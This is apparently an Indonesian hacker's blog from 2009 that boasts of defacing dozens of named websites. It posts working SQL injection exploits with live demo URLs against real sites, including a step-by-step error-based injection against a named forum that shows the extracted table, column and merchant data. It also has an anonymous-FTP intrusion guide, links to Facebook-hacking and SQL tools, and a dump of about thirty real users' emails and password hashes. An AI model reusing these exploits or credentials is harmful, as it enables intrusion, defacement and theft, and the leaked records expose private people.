http://www.indonesiandefacer.org/mirror/2009/12/neverstudy.html

http://money.za.org/
http://www.indonesiandefacer.org/mirror/2009/12/money.html

http://blog.kocok.in/
http://www.indonesiandefacer.org/mirror/2009/12/blog194.html

http://dbs-ok.uni.cc/
http://www.indonesiandefacer.org/mirror/2009/12/dbsok.html

http://keekle.cn/blog/
http://www.indonesiandefacer.org/mirror/2009/12/keekle.html

http://www.home-contents-insurances.com/
http://www.indonesiandefacer.org/mirror/2009/12/homecontentsinsurances.html

http://www.lixindex.com/
http://www.indonesiandefacer.org/mirror/2009/12/lixindex.html

http://banks-4u.info/
http://www.indonesiandefacer.org/mirror/2009/12/banks4u.html

http://ikankucing.co.cc/
http://www.indonesiandefacer.org/mirror/2009/12/ikankucing.html

http://ornamentproduction.co.cc/
http://www.indonesiandefacer.org/mirror/2009/12/ornamentproduction.html

http://marvincruz.com/
http://www.indonesiandefacer.org/mirror/2009/12/marvincruz.html

http://www.vollstar.hu/
http://www.indonesiandefacer.org/mirror/2009/12/vollstar194.html

http://www.vollstar.extra.hu/
http://www.indonesiandefacer.org/mirror/2009/12/vollstar.html


ntu hasil dari pagi-pagi hihihihih

http://skybadboy.co.cc/
http://www.indonesiandefacer.org/mirror/2009/12/skybadboy.html

http://pwtsatria.co.cc/
http://www.indonesiandefacer.org/mirror/2009/12/pwtsatria.html

http://linkpik.co.cc/
http://www.indonesiandefacer.org/mirror/2009/12/linkpik.html

http://retrodisco.co.cc/
http://www.indonesiandefacer.org/mirror/2009/12/retrodisco.html

http://goals-arena.co.cc/images/adit.html
http://www.indonesiandefacer.org/mirror/2009/12/goalsarena.html

selamat ulang tahuuuun yaaa dit hehehehehehhe

Cara Memblock Klik Kanan di tampilan web

Posted on 19.05 by CS-31

ini merupakan jv yang aku liat dari temen2 defacer n mengaplikasnnya pada defacannua

hari ini aku akan nunjukin bagaimana sih caranya ehhehehehehehe
ini dia

langsunga ja download di bawah ini yaa
hehehehehe

ajiib sedoooot :P

aku kasih pendapan kalo editing enaknya pakek notepad ++

cos bisa tau enak pokoknya dah
hehehe

http://www.4shared.com/file/167713373/26884c98/JV_online.html

malaysia owned by me

Posted on 22.02 by CS-31

15 website malaysia babat habis
waakakakakaka oleh saya hihihih ajiib dah

searchengineservices.com.my
searchengineservices.my
webschool.com.my
malayproducts.com
www.cmd.com.my/blog
www.joannettp.com
www.joannachee.com
no1.com.my
www.philosoart.com
www.eileenooi.com
nailasilove.com
bid108.com
www.blog.sceniclife.net
sceniclife.net
no1.com.my/philipvancleven/
no1.com.my/serdaryurtseven/


miror
http://indonesiandefacer.org/user/194/CYBER

Depes agy

Posted on 19.02 by CS-31

Berhubung indives lagi eror
terus sekarang udah bisa
akhirnya aku dapat ngumpulin web yang akan aku depes n sekarang
aku tunjukin hasilnya hehehe

http://www.sman16sby.sch.id/
http://surabayabekas.com/main/detail.php?module=detail&id=72&desc=PULSA%20ELEKTRIK%20MURAH-surabaya
http://www.blog.sceniclife.net/
http://sceniclife.net/
http://www.kaozkotank.co.cc/
http://alifshopaksesoris.co.cc/
http://nailuvar.com/
miror
http://www.indonesiandefacer.org/user/194/CYBER

Owned By Nyc0

Posted on 17.10 by CS-31

Owened lagi

Posted on 11.47 by CS-31


Ayo Mari

Posted on 16.49 by CS-31


Chat Ma Bule G tau artiny

Posted on 07.41 by CS-31


g ngerti bahasanya cuman bisa yes no yes no wakalakkakakak

ampek di PV bule jadi malu

Niat CC tpi G dapet malah Defac

Posted on 00.28 by CS-31


Huhf sebel tak kira ada ccnya ternyata g ada cc

akhirnya ku lampiaskan deh ma ini
http://www.kss.com.pk/pages/news.asp

Hacked By Me

Posted on 17.12 by CS-31




http://www.stitiv.ac.id/berita/Cyber.html

Udah di email eh tetep aja bandel ntu admin wakakkaka

Vidio SQLI INjection

Posted on 16.52 by CS-31

langsung aja deh ini vidio tutornya hehehee

http://www.4shared.com/file/161026854/8824db38/SQLITheCyber.html

--==+================================================================================+==--
--==+ [
phpBB MOD] FileBase SQL Injection Vulnerbilitys +==--
--==+================================================================================+==--


AUTHOR: kimmo
SITE
: indonesianhacker.org
DORK
: inurl:"filebase.php" "Powered by phpBB" or inurl:"filebase.php"


DESCRIPTION:


EXPLOITS:
filebase.php?d=1&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,concat(username,
char(58),user_password),12,13,14/**/FROM/**/phpbb_users/*


NOTE/TIP:
phpbb prefix may need changining.


GREETZ: indonesianhacker.org, and all member !


--==+================================================================================+==--
--==+ [phpBB MOD] FileBase SQL Injection Vulnerbilitys +==--
--==+================================================================================+==--

# IndonesianHacker.org [2009-11-27]

Indonesia Nomer Urut 2 Setelah US

Posted on 08.10 by CS-31

just sqli

Posted on 06.22 by CS-31

http://www.inf-fni.org/pages.php?id=11+union+select+1,2,3,4,concat%28username,0x3a,password%29,6,7,8,9,10,11,12

Tool SQLI HELPER 2,7

Posted on 05.16 by CS-31

untuk mempermudah kita untuk menginjection web
ada toolnya

silakan di downlioad disini
http://www.4shared.com/file/160781851/945b34a3/SQL_Helper_ctnet.html

Tutorial SQLi Injection

Posted on 13.11 by CS-31

langsung aja g usah banyak bacot download aja tutornya

ini http://www.youtube.com/watch?v=M9biOFTMIDI&layer_token=12251d44867ab0f6


http://www.moresrl.com/
http://www.onlineinfoprofits.com/takbiran.html
http://allgraniteco.com/takbiran.html

no miror
mirornya lagi eror wakakakakkaka


met hari raya idul adha ya cuy
ada lagunya loo
wakakakaka

HAck The Cyber

Posted on 15.01 by CS-31

tutorial jumping vidio

Posted on 14.31 by CS-31

buat kamu yang pengen bisa cara rooting ato jumping dari 1 website ke web lain
silakan diliat vidio ini
hihihihi

Hacking web ASP

Posted on 18.33 by CS-31

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12

CEK VULN / GAK !!!
==================

Cek Bisa di Inject apa gak dgn cara tambah kan tanda ' di akhir URL

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12'

Jika Error nya seperti ini :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND t.TopicID = m.topicID '.
/main/ListPosts.asp, line 56

Microsoft OLE DB Provider (SQL Server Driver) <---- Inti nya ada di sini !!!
Selain SQL Server Driver (Provider) ndak tau deh gua :D

maka Lanjut ...

CARI STRUKTUR TABEL !!!
=======================

1) Debugging

Debugging di sini untuk memunculkan pesan error dr MsSQL.

SQL Inject nya adalah "and 1="

2) Munculkan nama tabel

Query nya : and 1=convert(int,(select top 1 table_name from information_schema.tables))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 table_name from information_schema.tables))--

Error yang muncul adalah :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Merchants' to a column of data type int.
/main/ListPosts.asp, line 56

bisa dilihat di situ kita dapat tabel dengan nama "Merchants".

berbeda dgn MySQL, MsSQL dalam output nya membedakan tipe data, sehingga kita perlu mengkonversi nya agar SQL dapat memunculkan pesan error yang kita inginkan.

skrg kita cari tabel selanjut nya.

Query : and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Merchants')))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Merchants')))--

Error yang muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'category' to a column of data type int.
/main/ListPosts.asp, line 56

Bisa di lihat Query nya berbeda dgn MySQL. MySQL ndak support "not in" sedangkan MsSQL support "not in" ^^

nah dapat tabel dgn nama "category" .... kita coba cari lagi tabel selanjut nya.

Query : and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Merchants','category')))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Merchants','category')))--

Error yng muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Codes' to a column of data type int.
/main/ListPosts.asp, line 56

dapat tabel dgn nama "Codes". Silahkan cari lagi nama tabel yang di inginkan.

CARI STRUKTUR COLUMN !!!
========================

Contoh kita mau cari column yg ada di tabel "Merchants".

Query : and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants'))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants'))--

Error yg muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'merchantId' to a column of data type int.
/main/ListPosts.asp, line 56

dapat deh column dgn nama "merchantId" ... yok cari lagi column laen :D

QUery : and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants' and column_name not in ('merchantid')))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants' and column_name not in ('merchantid')))--

Error yg muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'address' to a column of data type int.
/main/ListPosts.asp, line 56

dapat deh column "address". cari lage column ne ...

Query : and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants' and column_name not in ('merchantid','address')))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Merchants' and column_name not in ('merchantid','address')))--

Error yg muncul:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'merchantName' to a column of data type int.
/main/ListPosts.asp, line 56

dapat tuh column "merchantName" ekkekekeke ....

Silahkan kalo mo nyari lagi ^^

PENGAMBILAN DATA !!!
====================

Contoh kita mau lihat isi dari column "merchantid, address, merchantName" yg ada di tabel "Merchants".

Query : and 1=convert(int,(select top 1 merchantid from merchants))--

http://www.gamexus.com/main/ListPosts.asp?tid=11&cat=General+Discussion&catID=1&msgID=12 and 1=convert(int,(select top 1 merchantid from merchants))--

Error yg muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'alohacc' to a column of data type int.
/main/ListPosts.asp, line 56

dapat "merchantid" = "alohacc".

nah gmn kalo mau ngambil isi column ne sekaligus ??

Query : and 1=convert(int,(select top 1 merchantid%2b':'%2baddress%2b':'%2bmerchantName from merchants))--

Error yg muncul :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'alohacc:154 West Coast Rd Ginza Plaza #B1-55 S(127371):aloha Cybercafe' to a column of data type int.
/main/ListPosts.asp, line 56

Note : %2b = + sedangkan ':' = pembatas


untuk vidionya silakan download disini

from : c0li.blogspot.com

defacement by me n MARAH MERAH

Posted on 14.35 by CS-31


http://absolutepeople.com/
http://bagstrendy.adiktif.com/
http://fashion.adiktif.com/
http://blog.andrianonline.com/
http://bisnispulsa.andrianonline.com/
http://ads.andrianonline.com/


miror
http://indeves.co.tv/user/194/CYBER

special thanks for
VYCOD | MARAHMERAH | RAJEZ

I Love u ALL my friends

Owened by me 2

Posted on 00.23 by CS-31

http://haninkomunika.com/
http://wihara-tripo.org/
http://omahbusono.com/
miror
http://indeves.co.tv/mirror/2009/11/haninkomunika.html
http://indeves.co.tv/user/194/CYBER

http://pwm.z3rox.com/

hacked by Indonesian HAcker

Posted on 09.38 by CS-31

http://www.thelife.com.my/
http://decemberextravaganza.thelife.com.my/
http://www.thelife.com.my/event/
http://freestuff.com.my/
http://freestuff.thelife.com.my
http://lifeevent.thelife.com.my/index.html
http://mail.freestuff.com.my/index.php
http://mail thelife.com.my/index.php
http://newvoice2008.thelife.com.my/
http://sarawakrockparty09.thelife.com.my/
http://thelife.com.my/siburancarnival2007/
http://jknkelantan.moh.gov.my/
http://www.meditation.com.my/store/in-your-root.html

Hacked By Cyber

Posted on 08.42 by CS-31

HACK BY SOMEONE

Posted on 15.13 by CS-31


http://pulau-ambon.com
http://aktualita.com
http://herusc.com
http://unsuprise.org
http://sport-iptek.com
http://informasi-fitness.com
http://pesanbisnis.com
http://herusc.com/blog/lndex.php


AKU G KEBAGIAN HUHF

Owened cpanel By Me

Posted on 14.44 by CS-31





http://emyta.klmcc.com/emyta.html
http://webmail.klmcc.com/defac.html
http://vrekatravel.com/index.html
http://belissimo.com.my/index.php
http://klcah.org.my/


heheheh mirornya ada disini
http://indeves.co.tv/user/194/CYBER

Hacked By Cyber

Posted on 02.41 by CS-31


Hacking By HIHIHIHIHIHHIHI

Posted on 15.49 by CS-31




www.talpykla.com/files/

Posted on 03.19 by CS-31

[ ] 8633 User: JoeyK. | Email: stormstoys@aol.com | Password: e3c9340fac47689a01a8dcdce6d42e27
[ ] 8547 User: killer777 | Email: corbinbroncos@hotmail.com | Password: 1871e1fde6e5a59fcb048c5aaefba906
[ ] 8561 User: Olly | Email: Cobain6794@hotmail.co.uk | Password: 96518056f8c3d6c2e12aae704ecf97a5
[ ] 7996 User: runemaster7 | Email: andrew_kelly1@hotmail.com | Password: 9c4de1160b65c3538dd7de43d3e5853b
[ ] 3945 User: devils elbow | Email: devils.3lbow@gmail.com | Password: a42cbaa82b00c61d89d06b43dc1f7923
[ ] 3806 User: profile | Email: stop----@hotmail.com | Password: 9ffa1dbaeb556c5d896d19f32d481308
[ ] 2943 User: sykoticmynde | Email: joeall9339@yahoo.com | Password: d8578edf8458ce06fbc5bb76a58c5ca4
[ ] 1410 User: jetgrind | Email: jetgrind3001@yahoo.com | Password: 5f4dcc3b5aa765d61d8327deb882cf99
[ ] 451 User: Someguy | Email: adil_sunesara@sbcglobal.net | Password: f379eaf3c831b04de153469d1bec345e
[ ] 4 User: Soul Deciever | Email: hellzwing@gmail.com | Password: e19d5cd5af0378da05f63f891c7467af
[ ] 5 User: BlckMajick | Email: wilfshaw14@msn.com | Password: e30ed146aea4462c10943f0c43a5e188
[ ] 172 User: helix | Email: russell@macrosupport.net | Password: f83f821348e7f43ad56d0885a02e8dff
[ ] 8 User: Rune Cheater | Email: Game_dragons@hotmail.com | Password: 5a90e81c96efffa14c13b49b1cf56574
[ ] 2983 User: optics | Email: metallica_kicks_ass7@hotmail.com | Password: 3c2234a7ce973bc1700e0c743d6a819c
[ ] 9 User: Che$$ | Email: chess_scripter@hotmail.com | Password: d4bb6a3d9294a3217acd531c3ac47cf5
[ ] 10 User: abdulrahman1 | Email: abdulredflames11@yahoo.com | Password: 4fc7c3cfabad4f8327a1f4b19a006b4d
[ ] 469 User: Horny | Email: gundamwing_gzp@hotmail.com | Password: 7c84f797d1db435302a99e2a2e7e9765
[ ] 470 User: stierke2 | Email: thomasclaessens1@gmail.com | Password: 5583413443164b56500def9a533c7c70
[ ] 11 User: Perpetua | Email: fagexpassforperpetua@starcade.be | Password: ae97d69a02e3a65a40d6ef077f4015f1
[ ] 7813 User: andy034 | Email: pimping_bananas@hotmail.com | Password: ebcfd5a11d7cf5ba89f838fc766be7a4
[ ] 169 User: LiQuiD FrEEzE456 | Email: 1 | Password: 7ab944f5c994702ddf9bffc30eab7e07
[ ] 1604 User: Rs_Pmod | Email: rs_pmod@hotmail.com | Password: 0de8a2fe1769c2cbf6346de6de822d97
[ ] 1578 User: sjsbts | Email: centralidiotclub@yahoo.com | Password: ba99d415b962ebc0ebfba4776fb3636e
[ ] 948 User: justanothercheater | Email: pk_diablo@cox.net | Password: 5f4dcc3b5aa765d61d8327deb882cf99
[ ] 170 User: sexpistols | Email: | Password: 2b877b4b825b48a9a0950dd5bd1f264d
[ ] 13 User: Fanta | Email: mountain_dewil@hotmail.com | Password: f66290fb3be63da4f5e7eb1b5564dc21
[ ] 8013 User: DannRS | Email: briggs@phreaker.net | Password: 05b8c74cbd96fbf2de4c1a352702fbf4
[ ] 7963 User: Kevin2692 | Email: kvn_bly@yahoo.com | Password: 00bfc8c729f5d4d529a412b12c58ddd2
[ ] 2910 User: stingray | Email: Nathan@thelanlounge.co.uk | Password: 1740f75dde346c3622387b0a61d8c7fe

Vidio HAcking Modem Speedy

Posted on 17.45 by CS-31

heeeem hari ini adalah hari yang membuat aku capek hihihi
dimana hari ini satu malem aku abis hacking modem speedy
n dapet sak ambrek username n password huhf
capek






heeeem
pengen tau tah tutornya
silakan download vidionya disini

SQL injection com_surveymanager

Posted on 13.33 by CS-31

[+] Vendor : http://www.focusdev.co.uk/
[+] Download : http://www.focusdev.co.uk/products/8-joomla-products/17-survey-manager
[+] version : 1.5.0
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_surveymanager"

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_surveymanager&task=editsurvey&stype=[SQL]

[ Exploit ]

-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

[ Demo ]

http://portal.psz.utm.my/div/btk/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

http://www.acs-stny.com/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

http://ridsrealty.com/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

FTP ATTACK Part 1

Posted on 09.33 by CS-31

FTP (singkatan dari File Transfer Protocol) adalah sebuah protokol Internet yang berjalan di dalam lapisan aplikasi yang merupakan standar untuk pentransferan berkas (file) komputer antar mesin-mesin dalam sebuah internetwork.

Sebenernya ini tekhnik untung-untungan, memanfaatkan kelalaian admin situs atau penyedia hosting yang memungkinkan pengguna anonymous di ijinkan mengakses FTP.. 1

ok, langsung aja, silahkan coba :

1. Run >> CMD
2. Ketik ftp situstarget.com
3. jika beruntung akan muncul tulisan seperti berikut :

a.


Connected to situstarget.com.
220———- Welcome to PureFTPd 1.0.12 ———-
220-You are user number 2 of 50 allowed.
220-Local time is now 15:21 and the load is 0.03. Server port: 21.
220 You will be disconnected after 15 minutes of inactivity.
User (situstarget.com:(none)):

Tapi jika tidak beruntung maka akan muncul tulisan seperti ini :
b.

Connected to situstarget.com.
220———- Welcome to Pure-FTPd [TLS] ———-
220-You are user number 1 of 50 allowed.
220-Local time is now 21:31. Server port: 21.
220-This is a private system – No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 30 minutes of inactivity.
User (situstarget.com:(none)):

atau

c.

Connected to situstarget.com.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:119.235.18.72]
User (situstarget.com:(none)):

Apa bedanya pesan tersebut..?
a. = Mengijinkan pengguna anonymous mengakses FTP
b. dan c. = Tidak di ijinkan

4. Nah kalau yang muncul adalah pesan yang pertama, maka kamu cukup mengetikan “anonymous” sebagai username lalu enter.

Connected to situstarget.com.
220———- Welcome to PureFTPd 1.0.12 ———-
220-You are user number 2 of 50 allowed.
220-Local time is now 15:21 and the load is 0.03. Server port: 21.
220 You will be disconnected after 15 minutes of inactivity.
User (situstarget.com:(none)): anonymous
331 Any password will work
Password:
230 Any password will work

pada pesan tersebut terdapat pesan “Any password will work” pasti dah tau artinya kan..? 10

Sekarang kamu memiliki akses FTP, dan untuk melihat command apa aja yang tersedia, kam bisa mengetikan help.

Semoga bermanfaat.. 1
from : http://bobyhikaru.biz/

CMS COntrol

Posted on 13.19 by CS-31

#=Info=======================================================================#
# Software: CMScontrol (Content Management Portal Solutions) Sql Injection #
# Version: 7.* #
# Vulnerability: Remote Sql Injection #
# Google Dork: "index.php?id_menu=" CMScontrol #
# Off. site: www.cmscontrol.com #
#============================================================================#


#=Author==============================================#
# Author: ph1l1ster #
# Date: 20.09.2009 #
# Contact: icq: 612672 | email: ph1l1st3r@gmail.com #
#=====================================================#


#=Sql Injection=======================================================================#
# Exploit: http://site/index.php?id_menu=82+and+1=0+union+select+unhex(hex(1)), #
# unhex(hex(concat_ws(0x3a,user,password))),unhex(hex(3))+from+users--
#
# Live demo: http://www.galsi.it/index.php?id_menu=99999+and+1=0+union+select+ #
# unhex(hex(1)),unhex(hex(concat_ws(0x3a,user,password))),unhex(hex(3))+from+users-- #
# Login page: http://site/admin/login.php # #
#=====================================================================================#




#=Greetz================================#
# mr.gr33n aka mr.Br0wn, easy-, Micr0b #
# 0wners Team and all milw0rm team #
# CW.WS and all CW team #
# All Russian and other h4x0r5 #
#=======================================#

# milw0rm.com [2009-09-21]

How to Hack Gprs M3

Posted on 10.34 by CS-31

huahahah akhirnya aku mo posting nih caranya hacking M3

caranya mudah :
1. siapkan kopi
2. siapkan rokok
3. siapkan hape n peralatan ( laptop, kabel data, dll)
4. pergi kewarnet beli pulsa...
5. langsung beraksi

ubah setingannya seting sini

1. apn rubah ma indosatmms
2. user pakek indosat
3. pass kosongin aja
4. konekin
5. pakek proxy indosat
6. jika g konek, putusin lagi n sambungin lagi.
7. terusin ampek konek beres deh huehehehehehehehehhe

untuk vidionya silakan download disini

Hacking FB

Posted on 14.58 by CS-31

mungkin buat sebagian orang sudah tau dengan software yg satu ini..
tapi buat yang belum ad..smga bisa jadi pembelajaran..download softwarenya disini :
http://www.007-facebook.tk/
passwordnya ini :b.h.y.u.j.h.g..r.df.d.e ( cracked by sheor)cara menggunkananya disini:
http://www.youtube.com/watch?v=hftImOUozS0&feature=related
semoga berguna...we are just beggining from a dreamer...
videonya:http://www.youtube.com/watch?v=BCuwjimQhwE
http://www.facebook.com/l.php?u=http%3A%2F%2F007-facebook.ifrance.com%2F&h=c21b4e9b90213fd399c95e16371161be passwordnya : a1b

from: www.smansa-sql.co.cc

Hacking Gprs Flas

Posted on 14.45 by CS-31

Ketik
Flash on julah paket yang ingin Anda beli
Contohnya :Flash on 5000Lalu kirim ke :3636Next. . .
pastikan settingan Hp kamu sudah benar untuk akses internet telkomselnya. Biasanya sich untuk type Nokoi ech maaf Nokia settingan GPRSnya secara otomatis akan terseting sendiri secara Default. Tapi jika Anda memakai diluar Nokia maka Anda harus setting sendiri. Jika kamu masih bingung dengan settinganya, berikut akan saya berikan pencerahan, ke? mau tobat ya diberikan pencerahan.hehehe. . .Name Connection :Telkomsel GPRS WEBAcces Poin Name :InternetUntuk settingan Hp Sampai disini aja.Tapi jika kamu menggunakan dial up dengan PC maka :
User Name :Dikosongkan aja
Password :Dikosongkan juga
Dial Number :*99#
Selesai. . . Wait. . . Loading. . . ke’ lagi booting aja ya.hehehe. . .

by : google.com

Merubah layout FB

Posted on 02.04 by CS-31


PANDUAN MENGUBAH TAMPILAN FACEBOOK DALAM 3 MENIT!!!
(Rubah dengan Koleksi Wallpapper Facebook bahkan dengan Background Koleksi Foto Anda)



************************************************
CARA 1 (MENGGUNAKAN BACKGROUND YANG TERSEDIA)
************************************************

1. Gabung ke Grup ini dengan meng-klik "Gabung ke Grup ini"
2. Undang semua teman Anda untuk bergabung dengan meng-klik "Undang Semua Orang untuk Bergabung" dan PILIH SEMUA TEMANMU, lalu kirim undangan. INGAT!! KARENA HANYA ORANG YANG BERGABUNG DAN MENGINSTAL APLIKASI INI YANG DAPAT MELIHAT PERUBAHAN TAMPILAN ANDA.
3. Gunakan Browser Mozilla Firefox 3.0 , Internet Explorer 7.0 and 8.0 dan. Sementara browser Safari, Google Chrome, AOL, MSN, or IE 6 Tidak Bisa.
4. Masuk ke http://www.yontoo.com/DownloadFFClient.aspx
5. Pilih "Start Install"
6. Install Add-Ons tersebut dan setelah selesai restart Mozilla Firefox tersebut.
7. Kembali ke halaman Facebook Anda
8. Masuk ke http://www.pagerage.com
9. Lalu pilih tampilan Facebook yang Anda inginkan (klik Select).
10. Selesai dan lihat perubahannya di halaman Facebook Anda.

HASILNYA: http://www.facebook.com/photo.php?pid=861760&op=2&o=user&view=user&subj=94354179019&aid=-1&oid=94354179019&id=1366453727


************************************************
CARA 2 (JIKA ANDA INGIN MEMASUKKAN FOTO ANDA SEBAGAI BACKGROUND)
************************************************

1. Gabung ke Grup ini dengan meng-klik "Gabung ke Grup ini"
2. Undang semua teman Anda untuk bergabung dengan meng-klik "Undang Semua Orang untuk Bergabung" dan PILIH SEMUA TEMANMU, lalu kirim undangan. INGAT!! KARENA HANYA ORANG YANG BERGABUNG DAN MENGINSTAL APLIKASI INI YANG DAPAT MELIHAT PERUBAHAN TAMPILAN ANDA.
3. Gunakan Browser Mozilla Firefox 3 , Internet Explorer 7.0 and 8.0. Sementara browser Safari, Google Chrome, AOL, MSN, or IE 6 Tidak Bisa.
4. Instal Yontoo Layers, caranya sama seperti cara di atas
5. Buka : http://www.pagerage.com
6. Dipojok kiri atas klik "Create Your Own Backgrounds”
7. Memasukan Background gambar/foto yang telah di upload**, lalu Klik "Load Image"
8. Memilih Warna Font dan setting transparansi (Show Advanced Setting)
9. Klik “Apply Background”
10. Selesai dan lihat perubahannya di halaman Facebook Anda.

NOTE:
** Untuk step #7 yg dimasukan adalah link adress foto, contohnya seperti ini : http://i441.photobucket.com/albums/qq138/zaka2112/DEV6-1.gif
** Untuk mendapatkan link seperti itu kamu bisa upload foto kamu anatara lain melalui :
- http://www.photobucket.com
- http://www.imageshack.us

HASILNYA: http://www.facebook.com/photo.php?pid=869358&op=1&o=user&view=user&subj=94354179019&aid=-1&oid=94354179019&id=1366453727


************************************************
CARA 3 (DENGAN BANYAK PILIHAN TAMPILAN YANG BERVARASI)
************************************************

1. Gabung ke Grup ini dengan meng-klik "Gabung ke Grup ini"
2. Undang semua teman Anda untuk bergabung dengan meng-klik "Undang Semua Orang untuk Bergabung" dan PILIH SEMUA TEMANMU, lalu kirim undangan. INGAT!! KARENA HANYA ORANG YANG BERGABUNG DAN MENGINSTAL APLIKASI INI YANG DAPAT MELIHAT PERUBAHAN TAMPILAN ANDA.
3. Gunakan Browser Mozilla Firefox 3
4. Install Add-ons yang ada di https://addons.mozilla.org/en-US/firefox/addon/2108
5. Install Add-ons tersebut dengan meng-klik "Add to Firefox"
6. Dan setelah selesai restart Mozilla Firefox tersebut.
7. Login ke account facebook Anda.
8. Masuk ke http://userstyles.org/styles/site/facebook.com
9. Pilih tampilan facebook yang Anda inginkan.
10. Klik tombol “Load into Stylish”
11. Selesai dan lihat perubahannya di halaman Facebook Anda

HASILNYA: http://www.facebook.com/photo.php?pid=871287&op=1&o=user&view=user&subj=94354179019&aid=-1&oid=94354179019&id=1366453727


*****************************
CARA 4 (KHUSUS OPERA - DENGAN BANYAK PILIHAN TAMPILAN YANG BERVARASI)
*****************************

Baca dan ikuti langkah berikut sampai selesai.

1. Gabung ke Grup ini dengan meng-klik "Gabung ke Grup ini"
2. Undang semua teman Anda untuk bergabung dengan meng-klik "Undang Semua Orang untuk Bergabung" dan PILIH SEMUA TEMANMU, lalu kirim undangan. INGAT!! KARENA HANYA ORANG YANG BERGABUNG DAN MENGINSTAL APLIKASI INI YANG DAPAT MELIHAT PERUBAHAN TAMPILAN ANDA.
3. Gunakan Opera 9
4. Siapkan lokasi script, melalui Menu : Tools > Preferences > Advanced > Content >JavaScript options
Gambarnya : http://www.facebook.com/photo.php?pid=875957&op=1&o=user&view=user&subj=94354179019&aid=-1&oid=94354179019&id=1366453727
5. Masuk ke http://userstyles.org/styles/browse/all/facebook/popularity/desc/1
6. Pilih salah satu skin yang ingin digunakan, contoh : http://userstyles.org/styles/15332
Gambarnya : http://www.facebook.com/photo.php?pid=875958&op=1&o=user&view=user&subj=94354179019&aid=-1&oid=94354179019&id=1366453727
7. Klik tombol "Load as user script", opera menampilkan script kemudian simpan melalui menu File --> save as. Dengan nama skin.js (apa saja asal dengan nama belakang .js)
Gambarnya : http://www.facebook.com/photo.php?pid=875959&op=1&o=user&view=user&subj=94354179019&aid=-1&oid=94354179019&id=1366453727
8. Selesai dan lihat perubahannya di halaman Facebook Anda

HASILNYA: http://www.facebook.com/photo.php?pid=875960&op=1&o=user&view=user&subj=94354179019&aid=-1&oid=94354179019&id=1366453727


**Untuk mengganti theme, hapus file .js dan ikuti langkah 3 sampai selesai.

**Untuk diketahui, beberapa theme yg tersedia di http://userstyles.org/styles/browse/all/facebook/popularity/desc/1 ada yang tidak dapat ditampilkan, coba ganti dengan theme yg lain.


*************************************************
CARA MENGGANTI DAN MENGHAPUS TAMPILAN FACEBOOK
*************************************************

UNTUK CARA 1 & 2:

1. Masuk ke http://apps.facebook.com/pagerage/
2. Klik “Remove Current Layout From Your Profile Page”
3. Selesai dan silahkan lihat perubahannya di profil Facebook Anda
4. Untuk mengganti Tampilan tinggal Kita pilih Tampilan Lain di Pagerage dan Pastikan Yontoo dalam posisi Enable

CARA LAIN
## Apabila Anda Menggunakan Mozilla Firefox, Klik Tools -> Add-ons -> Klik Yontoo Layers -> Disable -> Klik Restart Firefox
## Apabila Anda mengginakan Internet Explorer, Klik Tools -> Manage Add-ons -> Toolbar and Extensions -> Klik Yontoo -> Disable > Lalu Restart Internet Explorer


UNTUK CARA 3:

Pada Mozilla Firefox Atas, Klik Tools -> Add-ons -> Klik Stylish -> Disable -> Klik Restart Firefox


UNTUK CARA 4:

